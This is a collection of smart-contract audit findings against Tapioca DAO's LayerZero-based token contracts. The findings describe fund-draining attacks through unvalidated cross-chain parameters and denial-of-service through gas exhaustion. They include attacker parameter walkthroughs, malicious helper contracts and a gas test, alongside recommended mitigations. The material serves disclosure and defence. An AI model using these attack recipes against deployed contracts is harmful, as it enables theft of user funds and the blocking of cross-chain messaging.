Tapioca DAO - windhustler's results

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L255

Vulnerability details

Impact

Unvalidated input data for the exerciseOption function can be used to steal all the erc20 tokens from the contract.

Proof of Concept

Each BaseTOFT is a wrapper around an erc20 token and extends the OFTV2 contract to enable smooth cross-chain transfers through LayerZero. Depending on the erc20 token which is used usually the erc20 tokens will be held on one chain and then only the shares of OFTV2 get transferred around (burnt on one chain, minted on another chain). Subject to this attack is TapiocaOFTs or mTapiocaOFTs which store as an underlying token an erc20 token(not native). In order to mint TOFT shares you need to deposit the underlying erc20 tokens into the contract, and you get TOFT shares.

The attack flow is the following:

1. The attack starts from the exerciseOption. Nothing is validated here and the only cost of the attack is the optionsData.paymentTokenAmount which is burned from the attacker. This can be some small amount.
2. When the message is received on the remote chain inside the exercise function it is important that nothing reverts for the attacker.
3. For the attacker to go through the attacker needs to pass the following data:

function exerciseInternal(
        address from,
        uint256 oTAPTokenID,
        address paymentToken,
        uint256 tapAmount,
        address target,
        ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData
            memory tapSendData,
        ICommonData.IApproval[] memory approvals
    ) public {
        // pass zero approval so this is skipped 
        if (approvals.length > 0) {
            _callApproval(approvals);
        }
        
        // target is the address which does nothing, but has the exerciseOption implemented
        ITapiocaOptionsBroker(target).exerciseOption(
            oTAPTokenID,
            paymentToken,
            tapAmount
        );
        // tapSendData.withdrawOnAnotherChain = false so we enter else branch
        if (tapSendData.withdrawOnAnotherChain) {
            ISendFrom(tapSendData.tapOftAddress).sendFrom(
                address(this),
                tapSendData.lzDstChainId,
                LzLib.addressToBytes32(from),
                tapAmount,
                ISendFrom.LzCallParams({
                    refundAddress: payable(from),
                    zroPaymentAddress: tapSendData.zroPaymentAddress,
                    adapterParams: LzLib.buildDefaultAdapterParams(
                        tapSendData.extraGas
                    )
                })
            );
        } else {
            // tapSendData.tapOftAddress is the address of the underlying erc20 token for this TOFT
            // from is the address of the attacker
            // tapAmount is the balance of erc20 tokens of this TOFT
            IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount);
        }
    }

4. So the attack is just simply transferring all the underlying erc20 tokens to the attacker.

The underlying ERC20 token for each TOFT can be queried through erc20() function, and the tapAmount to pass is ERC20 balance of the TOFT.

This attack is possible because the msg.sender inside the exerciseInternal is the address of the TOFT which is the owner of all the ERC20 tokens that get stolen.

Tools Used

• Manual review

Recommended Mitigation Steps

Validate that tapSendData.tapOftAddress is the address of TapOFT token either while sending the message or during the reception of the message on the remote chain.

Assessed type

Token-Transfer

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L239

Vulnerability details

Impact

removeCollateral -> remove message pathway can be used to steal all the balance of the TapiocaOFT and mTapiocaOFT tokens in case when their underlying tokens is native. TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.

Proof of Concept

The attack needs to be executed by invoking the removeCollateral function from any chain to chain on which the underlying balance resides, e.g. host chain of the TOFT. When the message is received on the remote chain, I have placed in the comments below what are the params that need to be passed to execute the attack.

    function remove(bytes memory _payload) public {
    (
        ,
        ,
        address to,
        ,
        ITapiocaOFT.IRemoveParams memory removeParams,
        ICommonData.IWithdrawParams memory withdrawParams,
        ICommonData.IApproval[] memory approvals
    ) = abi.decode(
        _payload,
        (
            uint16,
            address,
            address,
            bytes32,
            ITapiocaOFT.IRemoveParams,
            ICommonData.IWithdrawParams,
            ICommonData.IApproval[]
        )
    );
    // approvals can be an empty array so this is skipped
    if (approvals.length > 0) {
        _callApproval(approvals);
    }

    // removeParams.market and removeParams.share don't matter 
    approve(removeParams.market, removeParams.share);
    // removeParams.market just needs to be deployed by the attacker and do nothing, it is enough to implement IMarket interface
    IMarket(removeParams.market).removeCollateral(
        to,
        to,
        removeParams.share
    );
    
    // withdrawParams.withdraw =  true to enter the if block
    if (withdrawParams.withdraw) {
        // Attackers removeParams.market contract needs to have yieldBox() function and it can return any address
        address ybAddress = IMarket(removeParams.market).yieldBox();
        // Attackers removeParams.market needs to have collateralId() function and it can return any uint256
        uint256 assetId = IMarket(removeParams.market).collateralId();
        
        // removeParams.marketHelper is a malicious contract deployed by the attacker which is being transferred all the balance
        // withdrawParams.withdrawLzFeeAmount needs to be precomputed by the attacker to match the balance of TapiocaOFT
        IMagnetar(removeParams.marketHelper).withdrawToChain{
                value: withdrawParams.withdrawLzFeeAmount // This is not validated on the sending side so it can be any value
            }(
            ybAddress,
            to,
            assetId,
            withdrawParams.withdrawLzChainId,
            LzLib.addressToBytes32(to),
            IYieldBoxBase(ybAddress).toAmount(
                assetId,
                removeParams.share,
                false
            ),
            removeParams.share,
            withdrawParams.withdrawAdapterParams,
            payable(to),
            withdrawParams.withdrawLzFeeAmount
        );
    }
}

Neither removeParams.marketHelper or withdrawParams.withdrawLzFeeAmount are validated on the sending side so the former can be the address of a malicious contract and the latter can be the TOFT's balance of gas token.

This type of attack is possible because the msg.sender in IMagnetar(removeParams.marketHelper).withdrawToChain is the address of the TOFT contract which holds all the balances.

This is because:

1. Relayer submits the message to lzReceive so he is the msg.sender.
2. Inside the _blockingLzReceive there is a call into its own public function so the msg.sender is the address of the contract.
3. Inside the _nonBlockingLzReceive there is delegatecall into a corresponding module which preserves the msg.sender which is the address of the TOFT.
4. Inside the module there is a call to withdrawToChain and here the msg.sender is the address of the TOFT contract, so we can maliciously transfer all the balance of the TOFT.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

It's hard to recommend a simple fix since as I pointed out in my other issues the airdropping logic has many flaws. One of the ways of tackling this issue is during the removeCollateral to:

• Do not allow adapterParams params to be passed as bytes but rather as gasLimit and airdroppedAmount, from which you would encode either adapterParamsV1 or adapterParamsV2.
• And then on the receiving side check and send with value only the amount the user has airdropped.

Assessed type

ETH-Transfer

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142

Vulnerability details

Impact

triggerSendFrom -> sendFromDestination message pathway can be used to steal all the balance of the TapiocaOFT and mTapiocaOFT` tokens in case when their underlying tokens is native gas token. TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.

Proof of Concept

The attack flow is the following:

1. Attacker calls triggerSendFrom with airdropAdapterParams of type airdropAdapterParamsV1 which don't airdrop any value on the remote chain but just deliver the message.
2. On the other hand lzCallParams are of type adapterParamsV2 which are used to airdrop the balance from the destination chain to another chain to the attacker.

struct LzCallParams {
    address payable refundAddress; // => address of the attacker
    address zroPaymentAddress; // => doesn't matter
    bytes adapterParams; //=> airdropAdapterParamsV2
}

3. Whereby the sendFromData.adapterParams would be encoded in the following way:

function encodeAdapterParamsV2() public {
    // https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop
    uint256 gasLimit = 250_000; // something enough to deliver the message
    uint256 airdroppedAmount = max airdrop cap defined at https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop. => 0.24 for ethereum, 1.32 for bsc, 681 for polygon etc.
    address attacker = makeAddr("attacker"); // => address of the attacker
    bytes memory adapterParams = abi.encodePacked(uint16(2), gasLimit, airdroppedAmount, attacker);
}

4. When this is received on the remote inside the sendFromDestination ISendFrom(address(this)).sendFrom{value: address(this).balance} is instructed by the malicious ISendFrom.LzCallParams memory callParamsto actually airdrop the max amount allowed by LayerZero to the attacker on the lzDstChainId.
5. Since there is a cap on the maximum airdrop amount this type of attack would need to be executed multiple times to drain the balance of the TOFT.

The core issue at play here is that BaseTOFT delegatecalls into the BaseTOFTOptionsModule and thus the BaseTOFT is the msg.sender for sendFrom function.

There is also another simpler attack flow possible:

1. Since sendFromDestination passes as value whole balance of the TapiocaOFT it is enough to specify the refundAddress in callParams as the address of the attacker.
2. This way the whole balance will be transferred to the _lzSend and any excess will be refunded to the _refundAddress.
3. This is how layer zero works.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

One of the ways of tackling this issue is during the triggerSendFrom to:

• Not allowing airdropAdapterParams and sendFromData.adapterParams params to be passed as bytes but rather as gasLimit and airdroppedAmount, from which you would encode either adapterParamsV1 or adapterParamsV2.
• And then on the receiving side check and send with value only the amount the user has airdropped.

// Only allow the airdropped amount to be used for another message
ISendFrom(address(this)).sendFrom{value: aidroppedAmount}(
   from,
   lzDstChainId,
   LzLib.addressToBytes32(from),
   amount,
   callParams
);

Assessed type

ETH-Transfer

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442 https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52

Vulnerability details

Impact

This is an issue that affects BaseUSDO, BaseTOFT, and BaseTapOFT or all the contracts which are sending and receiving LayerZero messages. The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.

Proof of Concept

I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s sendToYAndBorrow. This function allows the user to mint/borrow USDO with some collateral that is wrapped in a TOFT and gives the option of transferring minted USDO to another chain.

The attack starts by invoking sendToYBAndBorrow which delegate calls into BaseTOFTMarketModule. If we look at the implementation inside the BaseTOFTMarketModule nothing is validated there except for the lzPayload which has the packetType of PT_YB_SEND_SGL_BORROW.

The only validation of the message happens inside the LzApp with the configuration which was set. What is restrained within this configuration is the payload size, which if not configured defaults to 10k bytes.

The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend implementation. I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.

I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.

To execute the attack we need to pass the following parameters to the function mentioned above:

    function executeAttack() public {
        address tapiocaOFT = makeAddr("TapiocaOFT-AVAX");
        tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}(
            address from => // malicious user address
            address to => // malicious user address
            lzDstChainId => // any chain lzChainId
            bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration
            ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything
            ICommonData.IWithdrawParams calldata withdrawParams, // can be anything
            ICommonData.ISendOptions calldata options, // can be anything
            ICommonData.IApproval[] calldata approvals // Elaborating on this below
        )
    }

ICommonData.IApproval[] calldata approvals are going to be fake data so max payload size limit is reached(10k). The target of the 1st approval in the array will be the GasDrainingContract deployed on the receiving chain and the permitBorrow = true.

    contract GasDrainingContract {
        mapping(uint256 => uint256) public storageVariables;
    
        function permitBorrow(
            address owner,
            address spender,
            uint256 value,
            uint256 deadline,
            uint8 v,
            bytes32 r,
            bytes32 s
        ) external {
            for (uint256 i = 0; i < 100000; i++) {
                storageVariables[i] = i;
            }
        }
    }

Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.

1. Transaction is successfully received inside the lzReceive after which it reaches _blockingLzReceive.

2. This is the first external call and according to EIP-150 out of 1 million gas:

   • 63/64 or ~985k would be forwarded to the external call.
   • 1/64 or ~15k will be left for the rest of the execution.

3. The cost of saving a big payload into the failedMessages and emitting events is higher than 15k. When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

contract FailedMessagesTest is Test {

    mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;

    event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);

    function setUp() public {}

    function testFMessagesGas() public {
        uint16 srcChainid = 1;
        bytes memory srcAddress = abi.encode(makeAddr("Alice"));
        uint64 nonce = 10;
        bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes
        bytes memory reason = getDummyPayload(2);

        uint256 gasLeft = gasleft();
        _storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason);
        emit log_named_uint("gas used", gasLeft - gasleft());
    }


    function _storeFailedMessage(
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload,
        bytes memory _reason
    ) internal virtual {
        failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
        emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
    }

    function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
        bytes memory payload = new bytes(payloadSize);
        for (uint256 i = 0; i < payloadSize; i++) {
            payload[i] = bytes1(uint8(65 + i));
        }
        return payload;
    }
}

• If the payload is 9999 bytes the cost of saving it and emitting the event is 131k gas.
• Even with a smaller payload of 500 bytes the cost is 32k gas.

4. If we can drain the 985k gas in the rest of the execution since storing failedMessages would fail the pathway would be blocked because this will fail at the level of LayerZero and result in StoredPayload.

5. Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for _nonblockingLzReceive the _executeOnDestination is invoked for the right packet type and there we have another external call which delegatecalls into the right module. Since it is also an external call only 63/64 gas is forwarded which is roughly:

   • 970k would be forwarded to the module
   • 15k reserved for the rest of the function

6. This 970k gas is used for borrow, and it would be totally drained inside our malicious GasDraining contract from above, and then the execution would continue inside the executeOnDestination which also fails due to 15k gas not being enough, and finally, it fails inside the _blockingLzReceive due to out of gas, resulting in blocked pathway.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

_executeOnDestination storing logic is just code duplication and serves no purpose. Instead of that you should override the _blockingLzReceive.

Create a new storage variable called gasAllocation which can be set only by the owner and change the implementation to:

(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));

While ensuring that gasleft() > gasAllocation in each and every case. This should be enforced on the sending side.

Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation needs to be big enough to cover storing max payload size.

Other occurrences

This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:

BaseTOFT

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L204

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L111

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L221

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L118

BaseUSDO

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L191

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L190

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L104

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L93

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L206

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L103

BaseTapOFT

• https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L225 Here we would need to pass IERC20[] memory rewardTokens as an array of one award token which is our malicious token which implements the ERC20 and ISendFrom interfaces.

Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens) there are no reverts in case the rewardToken is invalid we can execute the gas draining attack inside the sendFrom whereby rewardTokens[i] is our malicious contract.

Assessed type

DoS

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L99

Vulnerability details

Impact

This is an issue that affects all the contracts that inherit from NonBlockingLzApp due to incorrect overriding of the lzSend function and lack of input validation and the ability to specify whatever adapterParams you want. The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.

Proof of Concept

Layer Zero minimum gas showcase

While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params. All the invocations of lzSend inside the TapiocaDao contracts naively assume that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want. As a showcase, I have set up a simple contract that implements the NonBlockingLzApp and sends only 30k gas which reverts on the destination chain resulting in StoredPayload and blocking of the message pathway between the two lzApps. The transaction below proves that if no minimum gas is enforced, an application that has the intention of using the NonBlockingApp can end up in a situation where there is a StoredPayload and the pathway is blocked.

Transaction Hashes for the example mentioned above:

• LayerZero Scan: https://layerzeroscan.com/106/address/0xe6772d0b85756d1af98ddfc61c5339e10d1b6eff/message/109/address/0x5285413ea82ac98a220dd65405c91d735f4133d8/nonce/1
• Tenderly stack trace of the sending transaction hash: https://dashboard.tenderly.co/tx/avalanche-mainnet/0xe54894bd4d19c6b12f30280082fc5eb693d445bed15bb7ae84dfaa049ab5374d/debugger?trace=0.0.1
• Tenderly stack trace of the receiving transaction hash: https://dashboard.tenderly.co/tx/polygon/0x87573c24725c938c776c98d4c12eb15f6bacc2f9818e17063f1bfb25a00ecd0c/debugger?trace=0.2.1.3.0.0.0.0

Attack scenario

The attacker calls triggerSendFrom and specifies a small amount of gas in the airdropAdapterParams(~50k gas). The Relayer delivers the transaction with the specified gas at the destination.

The transaction is first validated through the LayerZero contracts before it reaches the lzReceive function. The Relayer will give exactly the gas which was specified through the airdropAdapterParams. The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit} is the gas the sender has paid for. The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive function and the message pathway is blocked, resulting in StoredPayload.

The objective of the attack is that the execution doesn't reach the NonblockingLzApp since then the behavior of the NonBlockingLzApp would be as expected and the pathway wouldn't be blocked, but rather the message would be stored inside the failedMessages

Tools Used

• Manual review
• Foundry
• Tenderly
• LayerZeroScan

Recommended Mitigation Steps

The minimum gas enforced to send for each and every _lzSend in the app should be enough to cover the worst-case scenario for the transaction to reach the first try/catch which is here.

I would advise the team to do extensive testing so this min gas is enforced.

Immediate fixes:

1. This is most easily fixed by overriding the _lzSend and extracting the gas passed from adapterParams with _getGasLimit and validating that it is above some minimum threshold.

2. Another option is specifying the minimum gas for each and every packetType and enforcing it as such.

I would default to the first option because the issue is twofold since there is the minimum gas that is common for all the packets, but there is also the minimum gas per packet since each packet has a different payload size and data structure, and it is being differently decoded and handled.

Note: This also applies to the transaction which when received on the destination chain is supposed to send another message, this callback message should also be validated.

When it comes to the default implementations inside the OFTCoreV2 there are two packet types PT_SEND and PT_SEND_AND_CALL and there is the available configuration of useCustomAdapterParams which can enforce the minimum gas passed. This should all be configured properly.

Other occurrences

There are many occurrences of this issue in the TapiocaDao contracts, but applying option 1 I mentioned in the mitigation steps should solve the issue for all of them:

TapiocaOFT

lzSend

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L101 - lzData.extraGas This naming is misleading it is not extraGas it is the gas that is used by the Relayer.

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L68

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L99

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L66

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L114

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L70

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L111

sendFrom

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142 - This is executed as a part of lzReceive but is a message inside a message. It is also subject to the attack above, although it goes through the PT_SEND so adequate config should solve the issue.

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L241

BaseUSDO

lzSend

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L41

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L86

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L51

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L82

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L48

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L87

sendFrom

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L127

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L226

BaseTapOFT

lzSend

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L108

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L181

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L274

sendFrom

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229

https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312

MagnetarV2

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/MagnetarV2.sol#L268

MagnetarMarketModule

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/modules/MagnetarMarketModule.sol#L725

Assessed type

DoS

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205-L267 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L190-L252

Vulnerability details

Impact

This is an issue that affects BaseUSDO and BaseTOFT through various message/packet types since they delegatecall into various modules and all the complex execution is wrapped in a big try/catch block, so if any part of the logic fails the whole message gets stored in the failedMessages. The impact is that user cannot access his TOFT tokens in cases where the failed message retry keeps on reverting due to the changed state of the system. This is most likely to occur in cases where the passed data on the home chain can get outdated pretty quickly, which is the case in sendForLeverage since there is swapping on a DEX involved.

Proof of Concept

I will illustrate the issue on a single example.

1. A user invokes the sendForLeverage function on the BaseTOFT contract.
2. His message is received on the remote chain inside the lzReceive and the logic of leverageDown is being executed.
3. After decoding the payload TOFT shares are temporarily credited(minted) to the address of the TOFT.
4. After that there is a big piece of logic wrapped in try catch
5. The logic inside leverageInternal can fail due to various reasons.
6. It takes (1-5 min or more) for the Relayer to deliver a message to the remote, so swap data can get outdated, and the airdropped value can be not enough to cover the gas costs of the message execution on the remote chain, etc.
7. In case something fails this is handled by reverting the whole execution
8. First of all this part of code and also the transfer are completely useless since the whole function is reverted anyway.
9. The core of the issue lies in the fact that this revert causes the message to be stored inside failedMessages and it can only be retried with the exact same payload.
10. As a consequence if the user tries to retry it will just keep on reverting, and he will never be able to get his TOFT shares back.

The exact same issue is present in BaseUSDO's leveraging logic. But also anywhere in the code whereby there is a revert and the user is not getting his shares back. I've noted all the occurrences of this issue at the end of the report.

Tools Used

• Manual review

Recommended Mitigation Steps

As an immediate solution in case the whole delegatecall has failed just transfer the TOFT tokens to the user without reverting.

if (!success) {
    if (balanceAfter - balanceBefore >= borrowParams.amount) {
        IERC20(address(this)).safeTransfer(_from, borrowParams.amount);
    }
    // remove the revert
}

As a broad architectural recommendation, think about using a different way of storing failedMessages, the default way offered by LayerZero was intended for much simpler payloads. The setup the protocol has is quite complex. Another recommendation is to not wrap a bunch of different logic in one big try/catch.

But try to split it into several steps so if let’s say the final withdrawal to another chain fails it does not revert the swapping and steps before that.

Consider using something like https://github.com/weiroll/weiroll which would chain multiple operations.

Other occurrences

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L195-L200

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L170-L175

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L202-L212

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L163-L168

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L180-L185

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L178-L186

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L187-L197

Assessed type

Error

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L227

Vulnerability details

Impact

Most of the packetTypes, when received on the remote chain, are supposed to send a message to another chain. To send that callback message usually a certain amount of gas is airdropped to a remote chain to execute that message. If we look at the reception logic for leverageUp the airdropped amount is supposed to be transferred to the address of the TapiocaOFT contract. This is an issue because if anything reverts here the airdropped amount is left sitting in the USDO contract and can be stolen by a bot. This is rather a common occurrence through the codebase and usually, in case of a revert the airdropped amount will be left in the USDO, TapOFT, or MagnetarV2 contracts, and in all these places it can be stolen by a bot. There is a high likelihood of this occurring quite often because it takes (1-5 min. or more) for a Relayer to deliver a message to the remote chain during which the airdropped amount might not be sufficient to execute the callback message, or something else can revert.

Proof of Concept

I have already described the issue in the impact section and here I will describe how a bot can steal the airdropped amount. The bot can use the same message pathway, e.g. sendForLeverage -> leverageUp to steal all the balance of the USDO contract.

1. The bot calls sendForLeverage function with a very small amount of USDO, e.g. that is his cost of attack.
2. When it is received on the remote chain out of all the parameters to the function he would need to deploy fake contracts which do nothing for ISwapper(externalData.swapper).buildSwapData(..), ISwapper(externalData.swapper).swap(...), ITapiocaOFTBase(externalData.tOft).wrap(...).
3. However, for the ITapiocaOFT(externalData.tOft).sendToYBAndBorrow{value: address(this).balance} this would need to be the address of his malicious contract which implements the sendToYBAndBorrow and would just receive the address(this).balance.

contract MaliciousReceiver {

    function sendToYBAndBorrow(
        address _from,
        address _to,
        uint16 lzDstChainId,
        bytes calldata airdropAdapterParams,
        IBorrowParams calldata borrowParams,
        ICommonData.IWithdrawParams calldata withdrawParams,
        ICommonData.ISendOptions calldata options,
        ICommonData.IApproval[] calldata approvals
    ) external payable {
        // do nothing
    }
}

If speed is of importance here the attacker can even pull off a more sophisticated attack which would do the following:

1. First he intentionally sends a transaction that fails in the leverageUp function, and it would fail due to the following mechanism:

contract MaliciousReceiver {

    bool drainGas = false;

    function sendToYBAndBorrow(
        address _from,
        address _to,
        uint16 lzDstChainId,
        bytes calldata airdropAdapterParams,
        IBorrowParams calldata borrowParams,
        ICommonData.IWithdrawParams calldata withdrawParams,
        ICommonData.ISendOptions calldata options,
        ICommonData.IApproval[] calldata approvals
    ) external payable {
            if (!drainGas) revert();
    }

    function setDrainGas(bool _drainGas) external {
        drainGas = _drainGas;
    }

    receive() external payable {}
}

2. Then he goes ahead and calls setDrainGas(true) on the malicious contract. And monitors if any of the user's transactions are failing, and then he can instantly on the same chain just retry his message through retryMessage and steal all the balance.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

This is a more broad architectural issue of the codebase which I discussed in my analysis review, and it goes back to the fact that airdropped gas tokens do not belong to the user. An immediate fix would be to in the case of function revert to send the airdropped amount back to the user. This can be inserted in the following [place]:(https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L375-L397)

    function _executeOnDestination(
        Module _module,
        bytes memory _data,
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload
    ) private {
        (bool success, bytes memory returnData) = _executeModule(
            _module,
            _data,
            true
        );
        if (!success) {
            if (address(this).balance != 0) {
                (bool sent, ) = msg.sender.call{value: address(this).balance}("");
                if (!sent) {
                    // emit an event
                }
            }
            _storeFailedMessage(
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload,
                returnData
            );
        }
    }

Other occurrences

Anywhere in the code where address{this}.balance or msg.value is passed to the _lzSend if it fails it will remain in that contract and can be stolen. I haven't set up a case for stealing airdropped balances of TOFT contracts, since there is a more serious attack there which I described in my other issues.

• https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L192-L193 - if execution fails in the MagnetarMarketModule contract it will be left sitting in the TOFT or in the MagnetarV2 contract depending on where it was airdropped.

